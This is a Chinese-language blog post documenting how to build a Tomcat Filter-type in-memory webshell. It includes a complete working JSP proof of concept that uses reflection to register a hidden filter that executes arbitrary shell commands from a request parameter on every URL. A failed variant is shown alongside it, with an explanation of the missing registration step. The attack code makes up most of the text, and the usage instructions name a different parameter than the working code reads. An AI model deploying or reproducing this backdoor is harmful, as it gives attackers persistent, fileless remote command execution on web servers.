Java 内存马实现

文章记录java内存马实现遇到的一些问题

0x01 filter内存马

一开始想的是,通过gpt直接写一个代码就可以进行测试,实际测试下来效果并不好,不如直接自己手搓。一方面是gpt对很多细节的内容并不清楚,一开始给的需求是通过servlet api动态注册filter,实际测试下来filter中无法实现,动态注册必须在 Servlet 容器启动期间完成(通过ServletContainerInitializerServletContextListener)。另一方面是gpt对代码实现的侧重点不同。

poc

<%@ page import="java.util.*,
                 javax.servlet.*,
                 javax.servlet.http.*,
                 java.io.*,
                 java.lang.reflect.*,
                 org.apache.tomcat.util.descriptor.web.FilterDef,
                 org.apache.tomcat.util.descriptor.web.FilterMap,
                 org.apache.catalina.core.ApplicationContext, 
                 org.apache.catalina.core.ApplicationFilterConfig,
                 org.apache.catalina.core.StandardContext,
                 org.apache.catalina.Context" %>
<%@ page pageEncoding="UTF-8" contentType="text/html;charset=UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>动态Filter命令执行</title>
    <style>
        .success {
            color: green;
        }

        .error {
            color: red;
        }

        pre {
            background-color: #f5f5f5;
            padding: 10px;
            border: 1px solid #ddd;
        }
    </style>
</head>
<body>
<h2>动态Filter命令执行</h2>

<%
    final String filterName = "CommandExecutorFilter";
    try {
        // 获取Servlet上下文
        ServletContext context = request.getServletContext();


        // 使用反射获取StandardContext (Tomcat特定)
        Field contextField = context.getClass().getDeclaredField("context");
        //contextField.setAccessible(true);
        //StandardContext standardContext = (StandardContext) contextField.get(context);


        contextField.setAccessible(true);
        Object applicationContext = contextField.get(context);

        // 从ApplicationContext中获取StandardContext
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);


        // 加载必要的类
        //ClassLoader cl = Thread.currentThread().getContextClassLoader();
        //Class<?> filterDefClass = cl.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef");
        //Class<?> filterMapClass = cl.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");


        // 定义命令执行Filter (内部类)
        class CommandExecutorFilter implements Filter {
            @Override
            public void init(FilterConfig config) throws ServletException {
            }
            

            @Override
//            public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
//                    throws IOException, ServletException {
//                HttpServletRequest httpReq = (HttpServletRequest) req;
//                String command = httpReq.getParameter("cmd");
//                if (command != null) {
//                    res.setContentType("text/plain;charset=UTF-8");
//                    PrintWriter out = res.getWriter();
//                    Process process = null;
//                    BufferedReader reader = null;
//
//                    try {
//                        // 根据操作系统选择命令解释器
//                        String os = System.getProperty("os.name").toLowerCase();
//                        String[] cmd = os.contains("win")
//                                ? new String[]{"cmd", "/c", command}
//                                : new String[]{"/bin/sh", "-c", command};
//
//                        ProcessBuilder pb = new ProcessBuilder(cmd);
//                        pb.redirectErrorStream(true); // 合并错误流到输出流
//                        process = pb.start();
//
//                        // 读取命令输出
//                        reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));
//                        StringBuilder output = new StringBuilder();
//                        String line;
//                        while ((line = reader.readLine()) != null) {
//                            output.append(line).append("\n");
//                        }
//
//                        int exitCode = process.waitFor();
//                        out.println("命令执行结果 (退出码: " + exitCode + "):\n" + output.toString());
//                        out.flush();
//                    } catch (Exception e) {
//                        out.println("执行命令时出错: " + e.getMessage());
//                    } finally {
//                        if (reader != null) try { reader.close(); } catch (IOException e) {}
//                        if (process != null) process.destroy();
//                    }
//                    return;
//                }
//                chain.doFilter(req, res);
//            }
            public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
                    throws IOException, ServletException {
                HttpServletRequest httpReq = (HttpServletRequest) req;
                String command = httpReq.getParameter("cmd");
                if (command != null) {
                    res.setContentType("text/plain;charset=UTF-8");
                    PrintWriter out = res.getWriter();
                    Process process = null;
                    BufferedReader reader = null;

                    try {
                        // 根据操作系统选择命令解释器
                        String os = System.getProperty("os.name").toLowerCase();
                        String[] cmd = os.contains("win")
                                ? new String[]{"cmd", "/c", command}
                                : new String[]{"/bin/sh", "-c", command};

                        ProcessBuilder pb = new ProcessBuilder(cmd);
                        pb.redirectErrorStream(true); // 合并错误流到输出流
                        process = pb.start();

                        // 读取命令输出
                        reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));
                        StringBuilder output = new StringBuilder();
                        String line;
                        while ((line = reader.readLine()) != null) {
                            output.append(line).append("\n");
                        }

                        int exitCode = process.waitFor();
                        out.println("命令执行结果 (退出码: " + exitCode + "):\n" + output.toString());
                        out.flush();
                    } catch (Exception e) {
                        out.println("执行命令时出错: " + e.getMessage());
                    } finally {
                        if (reader != null) try { reader.close(); } catch (IOException e) {}
                        if (process != null) process.destroy();
                    }
                    return;
                }
                chain.doFilter(req, res);
            }

            @Override
            public void destroy() {
            }
        }


        // 设置Filter实例
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("CommandExecutorFilter");
        filterDef.setFilter(new CommandExecutorFilter());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();
        filterMap.setFilterName("CommandExecutorFilter");
        filterMap.addURLPattern("/*");
        standardContext.addFilterMapBefore(filterMap);


        Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, filterConfig);

        out.println("<p class='success'>命令执行Filter已成功注册!</p>");
        out.println("<p>请重新访问此页面执行命令</p>");


    } catch (Exception e) {
        out.println("<p class='error'>执行过程中出错: " + e.getMessage() + "</p>");
        e.printStackTrace();
    }
%>

<h3>操作步骤</h3>
<ol>
    <li>注册成功后,使用以下URL执行命令:</li>
    <ul>
        <li><code>/dynamicfilter.jsp?command=ls</code> (Linux/Mac)</li>
        <li><code>/dynamicfilter.jsp?command=dir</code> (Windows)</li>
    </ul>
</ol>

</body>
</html>

问题1 tomcat版本问题:
在较新的Tomcat版本(8.x及以上)中,FilterDef 和 FilterMap 类已经从 org.apache.catalina.deploy 包移动到了 org.apache.tomcat.util.descriptor.web 包

问题2 Servlet API 提供的动态注册机制不适用,访问jsp文件时容器已经生成。无法将筛选器添加到上下文,因为该上下文已初始化

failpoc

<%@ page import="java.util.*, javax.servlet.*, javax.servlet.http.*, 
                java.lang.reflect.*, java.io.*" %>  // 新增java.io.*
<!DOCTYPE html>
<html>
<head>
    <title>命令执行Filter</title>
    <style>
        .success { color: green; }
        .error { color: red; }
        pre { background-color: #f5f5f5; padding: 10px; border: 1px solid #ddd; overflow-x: auto; }
    </style>
</head>
<body>
    <h2>命令执行Filter</h2>
    
    <%
        // 设置响应编码
        response.setContentType("text/html;charset=UTF-8");
        request.setCharacterEncoding("UTF-8");
        
        try {
            // 获取Servlet上下文
            ServletContext context = request.getServletContext();
            
            // 获取StandardContext实例(适用于Tomcat容器)
            Field contextField = context.getClass().getDeclaredField("context");
            contextField.setAccessible(true);
            Object standardContext = contextField.get(context);
            
            // 加载必要的类
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class<?> filterDefClass = cl.loadClass("org.apache.catalina.deploy.FilterDef");
            Class<?> filterMapClass = cl.loadClass("org.apache.catalina.deploy.FilterMap");
            
            // 创建Filter定义
            Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
            filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "CommandExecutorFilter");
            filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, "CommandExecutorFilter");
            
            // 定义命令执行Filter
            class CommandExecutorFilter implements Filter {
                @Override
                public void init(FilterConfig config) throws ServletException {}
                
                @Override
                public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) 
                        throws IOException, ServletException {  // 现在可以正确识别异常类型
                    HttpServletRequest httpReq = (HttpServletRequest) req;
                    
                    // 检查GET请求中的command参数
                    if ("GET".equalsIgnoreCase(httpReq.getMethod())) {
                        String command = httpReq.getParameter("command");
                        if (command != null && !command.trim().isEmpty()) {
                            try {
                                // 设置响应格式
                                res.setContentType("text/plain;charset=UTF-8");
                                PrintWriter out = res.getWriter();
                                
                                // 执行系统命令
                                Process process;
                                String os = System.getProperty("os.name").toLowerCase();
                                String[] cmd;
                                
                                if (os.contains("win")) {
                                    cmd = new String[] {"cmd", "/c", command};
                                } else {
                                    cmd = new String[] {"/bin/sh", "-c", command};
                                }
                                
                                process = Runtime.getRuntime().exec(cmd);
                                
                                // 获取命令输出
                                BufferedReader reader = new BufferedReader(
                                        new InputStreamReader(process.getInputStream()));
                                StringBuilder output = new StringBuilder();
                                String line;
                                
                                while ((line = reader.readLine()) != null) {
                                    output.append(line).append("\n");
                                }
                                
                                // 获取错误输出
                                BufferedReader errorReader = new BufferedReader(
                                        new InputStreamReader(process.getErrorStream()));
                                StringBuilder error = new StringBuilder();
                                
                                while ((line = errorReader.readLine()) != null) {
                                    error.append(line).append("\n");
                                }
                                
                                // 等待命令执行完成
                                int exitCode = process.waitFor();
                                
                                // 返回结果
                                out.println("命令: " + command);
                                out.println("退出代码: " + exitCode);
                                
                                if (output.length() > 0) {
                                    out.println("\n标准输出:\n" + output.toString());
                                }
                                
                                if (error.length() > 0) {
                                    out.println("\n错误输出:\n" + error.toString());
                                }
                                
                                return; // 终止请求处理链
                            } catch (Exception e) {
                                res.getWriter().println("执行命令时出错: " + e.getMessage());
                                e.printStackTrace();
                            }
                        }
                    }
                    
                    // 继续请求处理链
                    chain.doFilter(req, res);
                }
                
                @Override
                public void destroy() {}
            }
            
            // 设置Filter实例
            filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new CommandExecutorFilter());
            
            // 添加Filter定义到上下文
            standardContext.getClass().getMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef);
            
            // 创建Filter映射
            Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
            filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "CommandExecutorFilter");
            filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
            filterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
            
            // 添加Filter映射
            standardContext.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap);
            
            out.println("<p class='success'>命令执行Filter已添加!</p>");
            out.println("<p>现在可以通过访问 ?command=your_command 来执行系统命令</p>");
            
        } catch (Exception e) {
            out.println("<p class='error'>添加Filter失败: " + e.getMessage() + "</p>");
            e.printStackTrace();
        }
    %>
    
    <h3>使用说明</h3>
    <p>可以通过在URL中添加command参数来执行系统命令,例如:</p>
    <pre>http://your-server/your-app/this-page.jsp?command=dir</pre>
    <pre>http://your-server/your-app/this-page.jsp?command=ls -l</pre>
    
    <div class="warning">
        <h3 style="color:red">警告!</h3>
        <p>此功能具有极高的安全风险,可能导致服务器被攻击和数据泄露。</p>
        <p>请仅在安全的测试环境中使用,不要在生产环境部署。</p>
    </div>
</body>
</html>

这个poc失败最主要的原因是filter没有正确的注册,缺少了filterConfigs的设置

  1. Tomcat的Filter工作机制
    • Tomcat在处理请求时,会查询filterConfigs映射来确定哪些过滤器需要被调用
    • filterConfigs映射将过滤器名称与其对应的ApplicationFilterConfig对象关联起来
    • ApplicationFilterConfig包含了初始化和调用过滤器所需的所有信息
  2. 缺少最后一步的后果
    • 虽然FilterDef已添加到上下文(定义了过滤器)
    • 虽然FilterMap已添加(映射了URL模式到过滤器名称)
    • 但当Tomcat尝试根据名称查找实际的过滤器配置时,在filterConfigs中找不到对应条目
    • 结果是Filter不会被Tomcat的请求处理管道调用

如何写一个成功filter内存马呢?

  1. 完整的注册流程
    • FilterDef定义过滤器
    • FilterMap配置URL匹配模式
    • 将FilterMap添加到StandardContext
    • 创建了ApplicationFilterConfig并添加到filterConfigs映射中
  2. 对象获取
    • 获取ServletContext
    • 反射获取了ApplicationContext
    • 反射获取了StandardContext
    • 获取filterConfigs映射

参考

Java Web内存马深入分析:从注入原理到检测查杀-先知社区
SpringBoot笔记-web篇-一次web请求的大体流程 – luffysk – 博客园
Java servlet执行的完整流程(图解含源码分析)_servlet服务器放应用流程图-CSDN博客
JavaWeb 内存马一周目通关攻略 – Luminous~ – 博客园
Tomcat 内存马学习(一):Filter型 – 天下大木头

上一篇